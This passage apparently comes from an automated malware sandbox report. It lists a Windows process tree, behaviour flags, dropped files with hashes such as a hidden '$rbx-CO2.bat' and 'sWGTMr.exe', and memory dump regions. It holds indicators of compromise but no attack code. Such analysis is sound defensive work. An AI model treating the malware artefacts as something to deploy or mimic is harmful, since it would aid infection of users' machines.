                                                                                                                                            1⤵
                                                                                                                                              PID:3216
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                              1⤵
                                                                                                                                              • Checks processor information in registry
                                                                                                                                              PID:3260
                                                                                                                                            • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                              C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                              1⤵
                                                                                                                                              • Checks processor information in registry
                                                                                                                                              • Enumerates system info in registry
                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                              PID:4376
                                                                                                                                            • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                                              C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                                              1⤵
                                                                                                                                                PID:5048
                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                1⤵
                                                                                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                PID:2332
                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 468 -p 4888 -ip 4888
                                                                                                                                                  2⤵
                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                  PID:3124
                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 488 -p 3124 -ip 3124
                                                                                                                                                  2⤵
                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                  PID:4292
                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 564 -p 3124 -ip 3124
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3716
                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                  1⤵
                                                                                                                                                    PID:2944

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER20B2.tmp.csv

                                                                                                                                                    Filesize

                                                                                                                                                    38KB

                                                                                                                                                    MD5

                                                                                                                                                    ae992396532d2233178d3dad879f62a0

                                                                                                                                                    SHA1

                                                                                                                                                    76471e4d7262cf08f1a0776a07e7afc902cabf8c

                                                                                                                                                    SHA256

                                                                                                                                                    943225fd74a76632d30b1da3442e15256c33867ba254c89de3fa7cf7379dc96f

                                                                                                                                                    SHA512

                                                                                                                                                    eb1c59a70154dd2f01b34b591c349d2c807d9c9bdae0b10d1592e22e240e1ca6865965a81e0028cbee6d0cc39535c4019c7aa304c091d2f5be5fc896e5beeaeb

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER20E2.tmp.txt

                                                                                                                                                    Filesize

                                                                                                                                                    13KB

                                                                                                                                                    MD5

                                                                                                                                                    f762aedf401c1ba24695ca9ec62b7d0b

                                                                                                                                                    SHA1

                                                                                                                                                    524fd28ef3e99eb5ffe3a0fe206faeafd712d847

                                                                                                                                                    SHA256

                                                                                                                                                    986ed2ec6a9deb5f8a24af7f97c5095061bf770def995bad41b70a7eb0a3e42d

                                                                                                                                                    SHA512

                                                                                                                                                    a4ef4ffd087d1546c0b6054dc507ad1623a440af8efaa014e19c7f3f9fd143b2b645889d10215e8d43499756d86d814a0aa51b15fdf1a0c0f4664f692e5eaff8

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER975B.tmp.csv

                                                                                                                                                    Filesize

                                                                                                                                                    38KB

                                                                                                                                                    MD5

                                                                                                                                                    608df0cc752ee3e9e9c37245a8d9aee4

                                                                                                                                                    SHA1

                                                                                                                                                    c6bc57d4bd901c6dda83f75d647dcf6aa2c0c85f

                                                                                                                                                    SHA256

                                                                                                                                                    6d47b6d2b3249b591e74202ea53e9752e99494c921543f57edad4ace69e32c11

                                                                                                                                                    SHA512

                                                                                                                                                    0ac2b073b43c467cb826510583de4df430db89cfc4eb962e9a1c0cadba7f676319dabda31caf62ed9133e0c5a6599afb84937fbca60a2d458cb7fab46432911d

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER978B.tmp.txt

                                                                                                                                                    Filesize

                                                                                                                                                    13KB

                                                                                                                                                    MD5

                                                                                                                                                    72987f38b6998c22dd3244bf643d8b7f

                                                                                                                                                    SHA1

                                                                                                                                                    95f3f3b9c209f8dda1b5c08c1aa36ec4f13127ec

                                                                                                                                                    SHA256

                                                                                                                                                    d2222102637fe1002b7ecd7d1be54d31609cb3be0f040c4d38c11d1a347054d9

                                                                                                                                                    SHA512

                                                                                                                                                    27b1f66e80ee20cdc950ef55dd1e1f6d83255af2415082178d8deb1dd5abddc3556739a2e150f0145c1b8b01e57a080119a9f558068033d75f90e5735cd449dc

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    3KB

                                                                                                                                                    MD5

                                                                                                                                                    bb8306e1bcf2e988e16c1aee4383f269

                                                                                                                                                    SHA1

                                                                                                                                                    3f261ea9b6df59d223f7c61adddc7f6f515e6e4e

                                                                                                                                                    SHA256

                                                                                                                                                    859eb6128cadf870e8235e87af15e13e6243b84690f641612be03c8dd83c4b98

                                                                                                                                                    SHA512

                                                                                                                                                    ad95bd6d26de7cea5ddaa4c3d92ced71899be98bac8593fed13b815a25eccd71817300f0cde97d87d3722515691a4a82a7d2d06a832d6181f05ccd73649247d3

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                    Filesize

                                                                                                                                                    53KB

                                                                                                                                                    MD5

                                                                                                                                                    a26df49623eff12a70a93f649776dab7

                                                                                                                                                    SHA1

                                                                                                                                                    efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                                                                    SHA256

                                                                                                                                                    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                                                                    SHA512

                                                                                                                                                    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                    Filesize

                                                                                                                                                    3KB

                                                                                                                                                    MD5

                                                                                                                                                    76a18ac328480a11da294618d5d31ffd

                                                                                                                                                    SHA1

                                                                                                                                                    0224f6c541f3e833a9bbe76184ec4b2b5487fe62

                                                                                                                                                    SHA256

                                                                                                                                                    e0ed940dd5e72400cd69d53a59216af270adbfd107742485db35b4623ed710e6

                                                                                                                                                    SHA512

                                                                                                                                                    f73d3ec83eff892ca425cc7cacf2e06f77b0edd24a8b5fa4e8ff02349a9653553884e3ee41c650bc17598392da08a8e230eadf129dcac4e0ea1e19d01ac84bbe

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lcbei5m5.tgh.ps1

                                                                                                                                                    Filesize

                                                                                                                                                    60B

                                                                                                                                                    MD5

                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                    SHA1

                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                    SHA256

                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                    SHA512

                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                  • C:\Windows\$nya-onimai2\sWGTMr.exe

                                                                                                                                                    Filesize

                                                                                                                                                    36KB

                                                                                                                                                    MD5

                                                                                                                                                    b943a57bdf1bbd9c33ab0d33ff885983

                                                                                                                                                    SHA1

                                                                                                                                                    1cee65eea1ab27eae9108c081e18a50678bd5cdc

                                                                                                                                                    SHA256

                                                                                                                                                    878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

                                                                                                                                                    SHA512

                                                                                                                                                    cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

                                                                                                                                                  • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                                    Filesize

                                                                                                                                                    7.4MB

                                                                                                                                                    MD5

                                                                                                                                                    e67e3a94d89425d40496ddf35898d535

                                                                                                                                                    SHA1

                                                                                                                                                    0797b9358d62864867ce3253a02a20456ac735b1

                                                                                                                                                    SHA256

                                                                                                                                                    8d7786fb33c1d05816fdc8c938273b452e94a4234358b45e567cc31ceaf262ad

                                                                                                                                                    SHA512

                                                                                                                                                    6b7c2115556e45e4584a6eb2cc8a68585b8ac25806135406057aa44c41aa9ae6a10fdaf4abdba2e2d94df526f90ed243a86664f82de044fb2603025d8965e13d

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                                    SHA1

                                                                                                                                                    98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                                    SHA256

                                                                                                                                                    ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                                    SHA512

                                                                                                                                                    c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    f313c5b4f95605026428425586317353

                                                                                                                                                    SHA1

                                                                                                                                                    06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                                    SHA256

                                                                                                                                                    129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                                    SHA512

                                                                                                                                                    b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                                    SHA1

                                                                                                                                                    a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                                    SHA256

                                                                                                                                                    98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                                    SHA512

                                                                                                                                                    1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                                    SHA1

                                                                                                                                                    63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                                    SHA256

                                                                                                                                                    727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                                    SHA512

                                                                                                                                                    f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                                    SHA1

                                                                                                                                                    5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                                    SHA256

                                                                                                                                                    55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                                    SHA512

                                                                                                                                                    5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                                    SHA1

                                                                                                                                                    9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                                    SHA256

                                                                                                                                                    a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                                    SHA512

                                                                                                                                                    c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                                  • memory/620-31-0x000001CACC850000-0x000001CACC874000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    144KB

                                                                                                                                                  • memory/620-42-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-33-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-32-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-44-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-43-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/620-38-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-39-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-40-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/620-41-0x000001CACC880000-0x000001CACC8AA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-54-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-56-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-59-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-48-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-53-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-55-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/672-58-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/672-57-0x00000236EB400000-0x00000236EB42A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-74-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-63-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-68-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-69-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-72-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-73-0x00007FFE37D50000-0x00007FFE37D60000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/940-71-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/940-70-0x000001F2F43D0000-0x000001F2F43FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/1016-78-0x00000240B86B0000-0x00000240B86DA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    168KB

                                                                                                                                                  • memory/2972-2786-0x000001E9F4030000-0x000001E9F403E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    56KB

                                                                                                                                                  • memory/3124-2433-0x00000208D81C0000-0x00000208D8944000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    7.5MB

                                                                                                                                                  • memory/3124-2527-0x00000208D61C0000-0x00000208D6210000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    320KB

                                                                                                                                                  • memory/3124-2531-0x00000208D6250000-0x00000208D628C000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    240KB

                                                                                                                                                  • memory/3124-2530-0x00000208D6190000-0x00000208D61A2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    72KB

                                                                                                                                                  • memory/3124-2529-0x00000208D8D10000-0x00000208D8ED2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    1.8MB

                                                                                                                                                  • memory/3124-2528-0x00000208D62D0000-0x00000208D6382000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    712KB

                                                                                                                                                  • memory/4860-25-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4860-26-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/4860-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4860-23-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4860-21-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4860-19-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4860-27-0x00007FFE75E20000-0x00007FFE75EDE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    760KB

                                                                                                                                                  • memory/4860-28-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                  • memory/4888-1040-0x00007FFE591F0000-0x00007FFE59CB1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4888-15-0x00000159B5F00000-0x00000159B5F3A000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    232KB

                                                                                                                                                  • memory/4888-14-0x00000159D0BD0000-0x00000159D0C46000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    472KB

                                                                                                                                                  • memory/4888-13-0x00000159D0B00000-0x00000159D0B44000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    272KB

                                                                                                                                                  • memory/4888-1479-0x00007FFE591F0000-0x00007FFE59CB1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4888-12-0x00007FFE591F0000-0x00007FFE59CB1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4888-11-0x00007FFE591F0000-0x00007FFE59CB1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4888-16-0x00000159F0EB0000-0x00000159F12F6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    4.3MB

                                                                                                                                                  • memory/4888-18-0x00007FFE75E20000-0x00007FFE75EDE000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    760KB

                                                                                                                                                  • memory/4888-17-0x00007FFE77CD0000-0x00007FFE77EC5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/4888-1024-0x00007FFE591F0000-0x00007FFE59CB1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4888-1023-0x00007FFE591F3000-0x00007FFE591F5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8KB

                                                                                                                                                  • memory/4888-752-0x00000159F1500000-0x00000159F1892000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    3.6MB

                                                                                                                                                  • memory/4888-10-0x00000159D06F0000-0x00000159D0712000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4888-0-0x00007FFE591F3000-0x00007FFE591F5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8KB